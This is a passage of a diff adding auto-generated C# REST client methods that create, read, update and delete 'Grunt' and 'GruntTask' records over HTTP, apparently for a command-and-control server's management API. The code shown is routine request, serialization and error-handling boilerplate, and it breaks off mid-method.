(_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntsPutWithHttpMessagesAsync(Grunt grunt = default(Grunt), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("grunt", grunt); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Grunts").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(grunt != null) + { + _requestContent = SafeJsonConvert.SerializeObject(grunt, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntsPostWithHttpMessagesAsync(Grunt grunt = default(Grunt), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("grunt", grunt); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Grunts").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(grunt != null) + { + _requestContent = SafeJsonConvert.SerializeObject(grunt, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntsByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Grunts/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiGruntsByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsByIdDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Grunts/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiGruntTasksGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntTasksGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/GruntTasks").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntTasksByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntTasksByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/GruntTasks/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntTasksByIdPutWithHttpMessagesAsync(int id, GruntTask task = default(GruntTask), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("task", task); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntTasksByIdPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/GruntTasks/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(task != null) + { + _requestContent = SafeJsonConvert.SerializeObject(task, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntTasksByIdPostWithHttpMessagesAsync(int id, GruntTask task = default(GruntTask), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("task", task); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntTasksByIdPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/GruntTasks/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(task != null) + { + _requestContent = SafeJsonConvert.SerializeObject(task, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiGruntTasksByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntTasksByIdDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/GruntTasks/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, 